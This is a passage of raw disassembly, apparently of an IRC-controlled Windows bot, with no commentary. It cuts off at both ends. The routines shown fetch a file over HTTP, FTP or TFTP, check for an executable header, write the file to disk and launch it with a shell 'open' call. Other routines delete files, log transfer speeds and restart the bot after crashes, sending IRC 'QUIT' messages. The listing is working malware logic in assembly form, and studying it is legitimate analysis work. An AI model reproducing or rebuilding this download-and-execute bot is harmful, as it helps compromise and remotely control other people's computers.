dword_41225C ; htonl push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_2F4] push offset dword_413348 push eax call sub_409659 push 0EA60h push edi call sub_403767 add esp, 20h cmp eax, esi mov [ebp+var_C], eax jz loc_401E85 cmp eax, 0FFFFFFFFh jz loc_401E85 lea eax, [ebp+var_2F4] push eax lea eax, [ebp+var_3FC] push eax mov eax, [ebp+var_2F8] push dword ptr [eax] lea eax, [ebp+var_1CF] push offset dword_413320 push eax call sub_4096CB call sub_4114E2 ; clock mov esi, 200h mov [ebp+arg_0], eax push ebx push esi lea eax, [ebp+var_5FC] push 1 push eax call sub_411510 ; fread add esp, 24h loc_401D73: ; CODE XREF: sub_401B81+23Aj mov edi, eax test edi, edi jz short loc_401DE1 cmp edi, esi ja short loc_401DE1 lea eax, [ebp+var_5FC] push edi push eax push [ebp+var_C] call sub_403D9D add esp, 0Ch test eax, eax jz short loc_401DBD cmp edi, esi jb short loc_401DE1 mov eax, [ebp+var_2F8] cmp dword ptr [eax+4], 0 jnz loc_401E5F push ebx push esi lea eax, [ebp+var_5FC] push 1 push eax call sub_411510 ; fread add esp, 10h jmp short loc_401D73 ; --------------------------------------------------------------------------- loc_401DBD: ; CODE XREF: sub_401B81+211j lea eax, [ebp+var_2F4] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_1CF] push offset dword_4132F4 push eax call sub_4096CB add esp, 10h jmp short loc_401E5F ; --------------------------------------------------------------------------- loc_401DE1: ; CODE XREF: sub_401B81+1F6j ; sub_401B81+1FAj ... call sub_4114E2 ; clock cmp [ebp+arg_0], eax jnz short loc_401DF4 call sub_4114E2 ; clock dec eax mov [ebp+arg_0], eax loc_401DF4: ; CODE XREF: sub_401B81+268j mov eax, [ebp+var_4] mov ecx, 400h cdq idiv ecx mov [ebp+var_4], eax fild [ebp+var_4] fstp [ebp+var_18] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+var_4], eax fild [ebp+var_4] fmul flt_412280 fdivr [ebp+var_18] fstp [esp+0A14h+var_A14] call sub_4114E2 ; clock sub eax, [ebp+arg_0] push ecx push ecx mov [ebp+arg_0], eax lea eax, [ebp+var_2F4] fild [ebp+arg_0] fmul flt_412280 fstp [esp+0A1Ch+var_A1C] push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_1CF] push offset dword_4132B0 push eax call sub_4096CB add esp, 20h loc_401E5F: ; CODE XREF: sub_401B81+221j ; sub_401B81+25Ej push [ebp+var_C] call sub_403D70 push ebx call sub_411500 ; fclose push [ebp+var_1C] call sub_40392A push [ebp+var_2F8] call sub_406E6F add esp, 10h jmp short loc_401E9F ; --------------------------------------------------------------------------- loc_401E85: ; CODE XREF: sub_401B81+19Cj ; sub_401B81+1A5j push ebx call sub_411500 ; fclose push edi call sub_40392A push [ebp+var_2F8] call sub_406E6F add esp, 0Ch loc_401E9F: ; CODE XREF: sub_401B81+111j ; sub_401B81+302j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_401B81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401EA8 proc near ; CODE XREF: sub_409918+194p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi jz loc_401F9E cmp [ebp+arg_8], ebx jz loc_401F9E cmp [ebp+arg_C], ebx jz loc_401F9E cmp [ebp+arg_10], ebx jz loc_401F9E push [ebp+arg_10] call sub_41151C ; atoi mov esi, eax pop ecx cmp esi, ebx jz loc_401F9E cmp esi, 0FFFFh ja loc_401F9E push [ebp+arg_14] call sub_41151C ; atoi mov edi, eax pop ecx cmp edi, ebx jz loc_401F9E cmp esi, 40000000h ja loc_401F9E push 3D6h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz short loc_401F9E push 21h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4114D6 ; strncpy push 104h lea eax, [esi+25h] push [ebp+arg_8] push eax call sub_4114D6 ; strncpy push 100h lea eax, [esi+129h] push [ebp+arg_C] push eax call sub_4114D6 ; strncpy push 6 lea eax, [esi+229h] push [ebp+arg_10] push eax call sub_4114D6 ; strncpy push 1A3h lea eax, [esi+233h] push [ebp+arg_0] mov [esi+22Fh], edi push eax call sub_4114D0 ; memcpy add esp, 3Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_41337C push ebx push esi push offset sub_401985 call sub_406D58 add esp, 18h loc_401F9E: ; CODE XREF: sub_401EA8+Bj ; sub_401EA8+14j ... pop edi pop esi pop ebx pop ebp retn sub_401EA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FA3 proc near ; CODE XREF: sub_407A76+5FFp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz short loc_402015 cmp [ebp+arg_8], 0 jz short loc_402015 push 2CCh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_402015 push 21h lea eax, [esi+4] push [ebp+arg_4] push eax call sub_4114D6 ; strncpy push 104h lea eax, [esi+25h] push [ebp+arg_8] push eax call sub_4114D6 ; strncpy push 1A3h lea eax, [esi+129h] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy add esp, 24h push [ebp+arg_4] push [ebp+arg_8] push offset dword_4133A0 push 0 push esi push offset sub_401B81 call sub_406D58 add esp, 18h loc_402015: ; CODE XREF: sub_401FA3+8j ; sub_401FA3+Ej ... pop esi pop ebp retn sub_401FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402018 proc near ; CODE XREF: sub_402230+3CAp var_408 = byte ptr -408h var_4 = dword ptr -4 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 408h push ebx push esi mov ebx, 2710h push edi push ebx push 0 push [ebp+arg_C] push [ebp+arg_8] call sub_403C04 mov esi, eax add esp, 10h test esi, esi mov [ebp+arg_C], esi jz loc_402226 push [ebp+arg_8] mov edi, 401h lea eax, [ebp+var_408] push [ebp+arg_10] push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push edi push eax call sub_41152E ; _snprintf lea eax, [ebp+var_408] push eax call sub_4114BE ; strlen push eax lea eax, [ebp+var_408] push eax push esi call sub_403D9D push ebx lea eax, [ebp+var_408] push edi push eax push esi call sub_403DF6 add esp, 34h mov [ebp+arg_10], eax test eax, eax jz loc_40221F cmp eax, 0FFFFFFFFh jz loc_40221F lea eax, [ebp+var_408] push offset asc_4133EC ; "\r\n\r\n" push eax call sub_411528 ; strstr mov esi, eax pop ecx test esi, esi pop ecx jz loc_40221A lea eax, [ebp+var_408] push offset aContentLength ; "Content-Length: " push eax add esi, 4 call sub_411528 ; strstr pop ecx test eax, eax pop ecx jz loc_40221A cmp eax, esi ja loc_40221A and [ebp+var_4], 0 lea ecx, [ebp+var_4] push ecx push offset aContentLengthU ; "Content-Length: %u\r\n" push eax call sub_411522 ; sscanf add esp, 0Ch cmp eax, 1 jnz loc_40221A mov ecx, [ebp+var_4] test ecx, ecx jz loc_40221A cmp [ebp+arg_1C], 0 jz short loc_40212B cmp ecx, 2 jb loc_40221A cmp word ptr [esi], 5A4Dh jnz loc_40221A loc_40212B: ; CODE XREF: sub_402018+FDj mov eax, [ebp+arg_18] test eax, eax jz short loc_402134 mov [eax], ecx loc_402134: ; CODE XREF: sub_402018+118j push [ebp+arg_14] call sub_4111BA test eax, eax pop ecx jnz loc_40221A push offset dword_4132AC push [ebp+arg_14] call sub_411506 ; fopen pop ecx mov [ebp+arg_8], eax test eax, eax pop ecx jnz short loc_40216D loc_40215B: ; CODE XREF: sub_402018+1CFj xor esi, esi loc_40215D: ; CODE XREF: sub_402018+1E0j push [ebp+arg_C] call sub_403D70 pop ecx mov eax, esi jmp loc_402228 ; --------------------------------------------------------------------------- loc_40216D: ; CODE XREF: sub_402018+141j push eax mov eax, [ebp+arg_10] sub eax, esi lea eax, [ebp+eax+var_408] push eax push 1 push esi call sub_4114FA ; fwrite sub esi, [ebp+arg_10] lea eax, [ebp+var_408] add esp, 10h sub esi, eax add [ebp+var_4], esi loc_402194: ; CODE XREF: sub_402018+1C7j mov eax, [ebp+arg_20] test eax, eax jz short loc_4021A1 cmp dword ptr [eax+4], 0 jnz short loc_4021EC loc_4021A1: ; CODE XREF: sub_402018+181j push ebx lea eax, [ebp+var_408] push edi push eax push [ebp+arg_C] call sub_403DF6 mov esi, eax add esp, 10h test esi, esi jz short loc_4021FD cmp esi, 0FFFFFFFFh jz short loc_4021FD cmp esi, [ebp+var_4] push [ebp+arg_8] ja short loc_4021E1 push esi lea eax, [ebp+var_408] push 1 push eax call sub_4114FA ; fwrite add esp, 10h sub [ebp+var_4], esi jz short loc_4021EC jmp short loc_402194 ; --------------------------------------------------------------------------- loc_4021E1: ; CODE XREF: sub_402018+1AEj call sub_411500 ; fclose pop ecx jmp loc_40215B ; --------------------------------------------------------------------------- loc_4021EC: ; CODE XREF: sub_402018+187j ; sub_402018+1C5j push [ebp+arg_8] call sub_411500 ; fclose pop ecx push 1 pop esi jmp loc_40215D ; --------------------------------------------------------------------------- loc_4021FD: ; CODE XREF: sub_402018+1A1j ; sub_402018+1A6j push [ebp+arg_8] call sub_411500 ; fclose push [ebp+arg_C] call sub_403D70 pop ecx pop ecx push [ebp+arg_14] call dword_4120B8 ; DeleteFileA jmp short loc_402226 ; --------------------------------------------------------------------------- loc_40221A: ; CODE XREF: sub_402018+A3j ; sub_402018+C1j ... push [ebp+arg_C] jmp short loc_402220 ; --------------------------------------------------------------------------- loc_40221F: ; CODE XREF: sub_402018+7Dj ; sub_402018+86j push esi loc_402220: ; CODE XREF: sub_402018+205j call sub_403D70 pop ecx loc_402226: ; CODE XREF: sub_402018+29j ; sub_402018+200j xor eax, eax loc_402228: ; CODE XREF: sub_402018+150j pop edi pop esi pop ebx leave retn sub_402018 endp ; =============== S U B R O U T I N E ======================================= sub_40222D proc near ; CODE XREF: sub_402230+415p ; sub_402230+452p xor eax, eax retn sub_40222D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402230 proc near ; DATA XREF: sub_4027CB+9Fo var_7EC = qword ptr -7ECh var_7D4 = byte ptr -7D4h var_6D0 = byte ptr -6D0h var_5D0 = byte ptr -5D0h var_4CC = byte ptr -4CCh var_4CB = byte ptr -4CBh var_44C = byte ptr -44Ch var_44B = byte ptr -44Bh var_3CC = dword ptr -3CCh var_3C8 = byte ptr -3C8h var_3C7 = byte ptr -3C7h var_3C2 = byte ptr -3C2h var_3C1 = byte ptr -3C1h var_2C4 = byte ptr -2C4h var_1C0 = byte ptr -1C0h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_33 = byte ptr -33h var_26 = byte ptr -26h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7D4h push ebx push esi push edi push 3AFh push [ebp+arg_0] lea eax, [ebp+var_3CC] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_7D4] push eax call sub_4114B8 ; _mbscpy mov dl, byte_4191D0 add esp, 18h xor eax, eax lea edi, [ebp+var_4CB] push 1Fh mov [ebp+var_4CC], dl pop ecx mov [ebp+var_44C], dl rep stosd stosw stosb push 1Fh xor eax, eax pop ecx lea edi, [ebp+var_44B] rep stosd stosw stosb lea eax, [ebp+var_2C4] xor ebx, ebx push eax lea eax, [ebp+var_7D4] push eax mov eax, [ebp+var_3CC] mov dword ptr [ebp+var_14+4], 1 mov [ebp+arg_0], ebx push dword ptr [eax] lea eax, [ebp+var_1C0] push offset dword_4135CC push eax call sub_4096CB push 7 lea eax, [ebp+var_3C8] push offset dword_4135C4 push eax call sub_411930 ; _strnicmp add esp, 20h test eax, eax jnz short loc_402347 lea eax, [ebp+var_2C4] push ebx push eax lea eax, [ebp+var_3C1] push eax call dword_412068 ; CopyFileA test eax, eax jnz loc_402697 call dword_41206C ; RtlGetLastWin32Error cmp eax, 20h jnz short loc_40232E lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_41358C jmp loc_40277E ; --------------------------------------------------------------------------- loc_40232E: ; CODE XREF: sub_402230+E3j lea eax, [ebp+var_3C1] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_41355C jmp loc_40277E ; --------------------------------------------------------------------------- loc_402347: ; CODE XREF: sub_402230+BBj lea eax, [ebp+var_3C8] push eax call sub_4114BE ; strlen pop ecx mov esi, eax loc_402356: ; CODE XREF: sub_402230+136j cmp esi, 0FFFFFFFFh jz short loc_4023CD cmp [ebp+esi+var_3C8], 3Ah jz short loc_402368 dec esi jmp short loc_402356 ; --------------------------------------------------------------------------- loc_402368: ; CODE XREF: sub_402230+133j cmp [ebp+esi+var_3C7], bl push 1 pop edi jz short loc_40239B mov al, [ebp+esi+var_3C7] lea ecx, [ebp+esi+var_3C8] loc_402382: ; CODE XREF: sub_402230+169j cmp al, 2Fh jz short loc_40239B cmp al, 30h jl short loc_4023CD cmp al, 39h jg short loc_4023CD mov byte ptr [ebp+edi+var_C+3], al mov al, [ecx+edi+1] inc edi cmp al, bl jnz short loc_402382 loc_40239B: ; CODE XREF: sub_402230+142j ; sub_402230+154j lea eax, [ebp+var_8] mov byte ptr [ebp+edi+var_C+3], bl push eax call sub_4032A7 test eax, eax pop ecx jz short loc_4023CD add edi, esi lea eax, [ebp+edi+var_3C8] push eax lea eax, [ebp+esi+var_3C8] push eax call sub_4114B8 ; _mbscpy pop ecx mov [ebp+arg_0], 1 pop ecx loc_4023CD: ; CODE XREF: sub_402230+129j ; sub_402230+158j ... push 7 lea eax, [ebp+var_3C8] push offset aHttp ; "http://" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40241D cmp [ebp+arg_0], ebx jnz short loc_4023FC lea eax, [ebp+var_8] push offset a80 ; "80" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_4023FC: ; CODE XREF: sub_402230+1BAj lea eax, [ebp+var_3C1] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy pop ecx mov [ebp+arg_0], 1 pop ecx jmp loc_4024D9 ; --------------------------------------------------------------------------- loc_40241D: ; CODE XREF: sub_402230+1B5j push 6 lea eax, [ebp+var_3C8] push offset aFtp ; "ftp://" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40248A cmp [ebp+arg_0], ebx jnz short loc_40244C lea eax, [ebp+var_8] push offset a21 ; "21" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_40244C: ; CODE XREF: sub_402230+20Aj lea eax, [ebp+var_3C2] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy mov esi, offset aAnonymous ; "anonymous" lea eax, [ebp+var_4CC] push esi push eax mov [ebp+arg_0], 2 call sub_4114B8 ; _mbscpy lea eax, [ebp+var_44C] push esi push eax call sub_4114B8 ; _mbscpy add esp, 18h jmp short loc_4024D9 ; --------------------------------------------------------------------------- loc_40248A: ; CODE XREF: sub_402230+205j push 7 lea eax, [ebp+var_3C8] push offset aTftp ; "tftp://" push eax call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_40279B cmp [ebp+arg_0], ebx jnz short loc_4024BD lea eax, [ebp+var_8] push offset a69 ; "69" push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx loc_4024BD: ; CODE XREF: sub_402230+27Bj lea eax, [ebp+var_3C1] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy pop ecx mov [ebp+arg_0], 3 pop ecx loc_4024D9: ; CODE XREF: sub_402230+1E8j ; sub_402230+258j lea eax, [ebp+var_3C8] push eax call sub_4114BE ; strlen pop ecx mov esi, eax loc_4024E8: ; CODE XREF: sub_402230+2C8j cmp esi, 0FFFFFFFFh jz short loc_40255C cmp [ebp+esi+var_3C8], 40h jz short loc_4024FA dec esi jmp short loc_4024E8 ; --------------------------------------------------------------------------- loc_4024FA: ; CODE XREF: sub_402230+2C5j lea eax, [ebp+var_3C8] push offset asc_413528 ; ":" push eax mov [ebp+esi+var_3C8], bl call sub_411528 ; strstr pop ecx cmp eax, ebx pop ecx mov edi, 80h jz short loc_402531 mov [eax], bl inc eax push edi push eax lea eax, [ebp+var_44C] push eax call sub_4059C2 add esp, 0Ch loc_402531: ; CODE XREF: sub_402230+2EBj lea eax, [ebp+var_3C8] push edi push eax lea eax, [ebp+var_4CC] push eax call sub_4059C2 lea eax, [ebp+esi+var_3C7] push eax lea eax, [ebp+var_3C8] push eax call sub_4114B8 ; _mbscpy add esp, 14h loc_40255C: ; CODE XREF: sub_402230+2BBj lea eax, [ebp+var_3C8] push offset asc_413524 ; "/" push eax call sub_411528 ; strstr mov esi, eax pop ecx cmp esi, ebx pop ecx jnz short loc_402587 mov eax, [ebp+var_3CC] push dword ptr [eax] push offset unk_4134F8 jmp loc_4027A8 ; --------------------------------------------------------------------------- loc_402587: ; CODE XREF: sub_402230+343j lea eax, [esi+1] push eax lea eax, [ebp+var_5D0] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_3C8] mov [esi], bl push eax lea eax, [ebp+var_6D0] push eax call sub_4114B8 ; _mbscpy add esp, 10h call sub_4114E2 ; clock cmp [ebp+arg_0], 1 mov dword ptr [ebp+var_1C+4], eax mov [ebp+var_C], ebx jnz short loc_402605 push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_44C] push eax lea eax, [ebp+var_4CC] push eax call sub_402018 add esp, 24h mov dword ptr [ebp+var_14+4], eax loc_402605: ; CODE XREF: sub_402230+38Ej cmp [ebp+arg_0], 2 jnz short loc_402650 push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_44C] push eax lea eax, [ebp+var_4CC] push eax call sub_40222D add esp, 24h mov dword ptr [ebp+var_14+4], eax loc_402650: ; CODE XREF: sub_402230+3D9j cmp [ebp+arg_0], 3 jnz short loc_40268D push [ebp+var_3CC] xor eax, eax cmp [ebp+var_38], bl setnz al push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_5D0] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6D0] push eax call sub_40222D add esp, 1Ch mov dword ptr [ebp+var_14+4], eax loc_40268D: ; CODE XREF: sub_402230+424j cmp dword ptr [ebp+var_14+4], 1 jnz loc_40276A loc_402697: ; CODE XREF: sub_402230+D4j cmp [ebp+var_26], bl jz short loc_4026A3 mov eax, offset dword_4134EC jmp short loc_4026B2 ; --------------------------------------------------------------------------- loc_4026A3: ; CODE XREF: sub_402230+46Aj cmp [ebp+var_36], bl mov eax, offset dword_4134E0 jnz short loc_4026B2 mov eax, offset byte_4191D0 loc_4026B2: ; CODE XREF: sub_402230+471j ; sub_402230+47Bj push eax mov eax, [ebp+var_C] shr eax, 0Ah mov dword ptr [ebp+var_14], eax mov dword ptr [ebp+var_14+4], ebx fild [ebp+var_14] fstp [ebp+arg_0] call sub_4114E2 ; clock sub eax, dword ptr [ebp+var_1C+4] mov dword ptr [ebp+var_1C+4], ebx push ecx push ecx mov dword ptr [ebp+var_1C], eax lea eax, [ebp+var_2C4] fild [ebp+var_1C] fmul flt_412280 fdivr [ebp+arg_0] fstp [esp+7ECh+var_7EC] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] lea eax, [ebp+var_1C0] push offset dword_413498 push eax call sub_4096CB add esp, 1Ch cmp [ebp+var_37], bl jz short loc_40271B lea eax, [ebp+var_2C4] push eax call dword_4120B8 ; DeleteFileA jmp short loc_40278D ; --------------------------------------------------------------------------- loc_40271B: ; CODE XREF: sub_402230+4DAj cmp [ebp+var_36], bl jnz short loc_402725 cmp [ebp+var_26], bl jz short loc_40278D loc_402725: ; CODE XREF: sub_402230+4EEj xor eax, eax cmp [ebp+var_33], bl setz al push eax push ebx lea eax, [ebp+var_2C4] push ebx push eax push offset aOpen ; "open" push ebx call dword_4121E4 cmp eax, 20h jbe short loc_402754 cmp [ebp+var_26], bl jz short loc_40278D call sub_4052DF jmp short loc_40278D ; --------------------------------------------------------------------------- loc_402754: ; CODE XREF: sub_402230+516j lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_413470 jmp short loc_40277E ; --------------------------------------------------------------------------- loc_40276A: ; CODE XREF: sub_402230+461j lea eax, [ebp+var_7D4] push eax mov eax, [ebp+var_3CC] push dword ptr [eax] push offset dword_413440 loc_40277E: ; CODE XREF: sub_402230+F9j ; sub_402230+112j ... lea eax, [ebp+var_1C0] push eax call sub_4096CB add esp, 10h loc_40278D: ; CODE XREF: sub_402230+4E9j ; sub_402230+4F3j ... push [ebp+var_3CC] call sub_406E6F pop ecx jmp short loc_4027C2 ; --------------------------------------------------------------------------- loc_40279B: ; CODE XREF: sub_402230+272j mov eax, [ebp+var_3CC] push dword ptr [eax] push offset unk_413414 loc_4027A8: ; CODE XREF: sub_402230+352j lea eax, [ebp+var_1C0] push eax call sub_4096CB push [ebp+var_3CC] call sub_406E6F add esp, 10h loc_4027C2: ; CODE XREF: sub_402230+569j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_402230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027CB proc near ; CODE XREF: sub_407A76+5DDp var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 push esi jz loc_402879 push 3AFh call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz loc_402879 push 8 push 7Ah push 61h lea eax, [ebp+var_10] push 4 push eax call sub_40B515 and [ebp+eax+var_10], 0 lea eax, [ebp+var_10] push offset dword_413620 push eax call sub_4114EE ; _mbscat add esp, 1Ch cmp [ebp+arg_8], 0 jnz short loc_402824 lea eax, [ebp+var_10] mov [ebp+arg_8], eax loc_402824: ; CODE XREF: sub_4027CB+51j push ebx push edi mov edi, 104h lea ebx, [esi+4] push edi push [ebp+arg_4] push ebx call sub_4059C2 push edi lea eax, [esi+108h] push [ebp+arg_8] push eax call sub_4059C2 push [ebp+arg_0] lea eax, [esi+20Ch] push eax call sub_40457C add esp, 20h lea eax, [esi+108h] push eax push ebx push offset dword_4135FC push 0 push esi push offset sub_402230 call sub_406D58 add esp, 18h pop edi pop ebx loc_402879: ; CODE XREF: sub_4027CB+Bj ; sub_4027CB+20j pop esi leave retn sub_4027CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40287C proc near ; CODE XREF: sub_406BBC+7Ep ; sub_406CB2+83p ... var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi push 1 push offset dword_4191DC call sub_407216 mov esi, [ebp+arg_0] xor edi, edi cmp dword_4191D8, edi pop ecx pop ecx mov ebx, eax jz loc_402994 mov edx, [esi] mov eax, 0C0000025h mov edi, offset aException_othe ; "EXCEPTION_OTHER" mov ecx, [edx] cmp ecx, eax ja short loc_4028F1 jz short loc_4028EA cmp ecx, 80000003h jz short loc_4028E3 cmp ecx, 0C0000005h jz short loc_4028DC cmp ecx, 0C000001Dh jnz short loc_402924 mov edi, offset aException_ille ; "EXCEPTION_ILLEGAL_INSTRUCTION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028DC: ; CODE XREF: sub_40287C+4Fj mov edi, offset aException_acce ; "EXCEPTION_ACCESS_VIOLATION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028E3: ; CODE XREF: sub_40287C+47j mov edi, offset aException_brea ; "EXCEPTION_BREAKPOINT" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028EA: ; CODE XREF: sub_40287C+3Fj mov edi, offset aException_nonc ; "EXCEPTION_NONCONTINUABLE_EXCEPTION" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_4028F1: ; CODE XREF: sub_40287C+3Dj cmp ecx, 0C000008Dh jb short loc_402924 cmp ecx, 0C0000093h jbe short loc_40291F cmp ecx, 0C0000094h jz short loc_402918 cmp ecx, 0C00000FDh jnz short loc_402924 mov edi, offset aException_stac ; "EXCEPTION_STACK_OVERFLOW" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_402918: ; CODE XREF: sub_40287C+8Bj mov edi, offset aException_int_ ; "EXCEPTION_INT_DIVIDE_BY_ZERO" jmp short loc_402924 ; --------------------------------------------------------------------------- loc_40291F: ; CODE XREF: sub_40287C+83j mov edi, offset aException_flt ; "EXCEPTION_FLT" loc_402924: ; CODE XREF: sub_40287C+57j ; sub_40287C+5Ej ... cmp dword ptr [edx+4], 1 mov edx, offset aRestarting ; "Restarting" jz short loc_402934 mov edx, offset aContinuing ; "Continuing" loc_402934: ; CODE XREF: sub_40287C+B1j mov eax, [esi+4] push edx push edi push ecx push dword ptr [eax+0C0h] push dword ptr [eax+0B8h] push dword ptr [eax+0C4h] push dword ptr [eax+0B4h] push dword ptr [eax+9Ch] push dword ptr [eax+0A0h] push dword ptr [eax+0A8h] push dword ptr [eax+0ACh] push dword ptr [eax+0A4h] push dword ptr [eax+0B0h] lea eax, [ebx+1] push eax push [ebp+arg_8] push [ebp+arg_4] push offset dword_41364C push offset dword_418E50 call sub_409659 add esp, 48h xor edi, edi loc_402994: ; CODE XREF: sub_40287C+27j inc ebx cmp ebx, 64h jz short loc_4029C0 mov eax, [esi] cmp dword ptr [eax+4], 1 jz short loc_4029C0 cmp dword ptr [eax], 80000003h jnz short loc_4029BB mov esi, [esi+4] inc dword ptr [esi+0B8h] or eax, 0FFFFFFFFh loc_4029B6: ; CODE XREF: sub_40287C+142j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4029BB: ; CODE XREF: sub_40287C+12Cj push 1 pop eax jmp short loc_4029B6 ; --------------------------------------------------------------------------- loc_4029C0: ; CODE XREF: sub_40287C+11Cj ; sub_40287C+124j lea eax, [ebp+var_104] push 104h push eax push edi call dword_412094 ; GetModuleHandleA push eax call dword_412098 ; GetModuleFileNameA test eax, eax jz short loc_402A00 push edi push edi lea eax, [ebp+var_104] push edi push eax push offset aOpen ; "open" push edi call dword_4121E4 cmp eax, 20h ja short loc_402A00 push offset aQuitExitting ; "QUIT :exitting" jmp short loc_402A05 ; --------------------------------------------------------------------------- loc_402A00: ; CODE XREF: sub_40287C+160j ; sub_40287C+17Bj push offset aQuitRestarting ; "QUIT :restarting" loc_402A05: ; CODE XREF: sub_40287C+182j call sub_4097DB pop ecx push edi call dword_412064 ; ExitProcess sub_40287C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402A12 proc near ; DATA XREF: sub_402D7B:loc_402EACo var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi mov edi, [ebp+arg_8] xor ebx, ebx cmp edi, ebx jz short loc_402A57 mov eax, [edi+4] cmp eax, ebx jz short loc_402A37 cmp eax, 2 jz short loc_402A37 mov esi, 273Fh jmp short loc_402A49 ; --------------------------------------------------------------------------- loc_402A37: ; CODE XREF: sub_402A12+17j ; sub_402A12+1Cj mov eax, [edi+8] cmp eax, 1 jz short loc_402A57 cmp eax, 2 jz short loc_402A57 mov esi, 273Ch loc_402A49: ; CODE XREF: sub_402A12+23j push esi call dword_412244 ; WSASetLastError mov eax, esi jmp loc_402C0A ; --------------------------------------------------------------------------- loc_402A57: ; CODE XREF: sub_402A12+10j ; sub_402A12+2Bj ... cmp [ebp+arg_0], ebx jnz loc_402AF7 push 30h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz loc_402B3E push 30h push ebx push esi call sub_4114E8 ; memset push 10h lea eax, [ebp+var_18] pop ebx push ebx push 0 push eax call sub_4114E8 ; memset add esp, 18h cmp [ebp+arg_4], 0 mov [ebp+var_18], 2 jz short loc_402AAD push [ebp+arg_4] call sub_41151C ; atoi pop ecx push eax call dword_412248 ; htons mov [ebp+var_16], ax loc_402AAD: ; CODE XREF: sub_402A12+85j test edi, edi mov dword ptr [esi+4], 2 jz short loc_402ABD mov eax, [edi+8] jmp short loc_402AC0 ; --------------------------------------------------------------------------- loc_402ABD: ; CODE XREF: sub_402A12+A4j push 1 pop eax loc_402AC0: ; CODE XREF: sub_402A12+A9j test edi, edi mov [esi+8], eax jz short loc_402ACC mov eax, 